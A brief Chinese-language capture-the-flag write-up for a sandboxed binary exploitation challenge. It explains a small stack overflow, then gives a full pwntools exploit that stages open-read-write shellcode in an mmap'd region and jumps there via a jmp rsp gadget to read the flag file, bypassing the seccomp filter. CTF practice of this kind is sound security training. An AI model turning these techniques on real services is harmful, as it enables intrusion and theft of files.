检查下程序的保护措施
拖入ida发现程序打开了沙盒保护,随即用seccomp-tools工具查看下白名单
因此这题选择用orw来get flag
函数允许我们输入0x38个字节,但buf只有0x20大小,并且只能溢出0x18个字节,用buf来装orw的汇编代码是绝对不够的,但程序一开始mmap了内存中的一段区域,我们可以利用这段区域来保存我们的shellcode,并发现该程序有jmp rsp,利用jmp rsp可以直接执行栈上的内容
write up
from pwn import *
context(log_level = 'debug', arch = 'amd64', os = 'linux')
io=remote("node3.buuoj.cn",29801)
mmap=0x123000
jmp_rsp=0x400a01
payload=shellcraft.open("./flag")
payload+=shellcraft.read(3,mmap+0x100,100)
payload+=shellcraft.write(1,mmap+0x100,100)
payload=asm(payload)
payload1=asm(shellcraft.read(0,mmap,0x100))+asm("mov rax,0x123000; jmp rax")
payload1=payload1.ljust(0x28,b'a')
payload1+=p64(jmp_rsp)+asm("sub rsp,0x30; jmp rsp")
io.recv()
io.sendline(payload1)
io.sendline(payload)
io.interactive()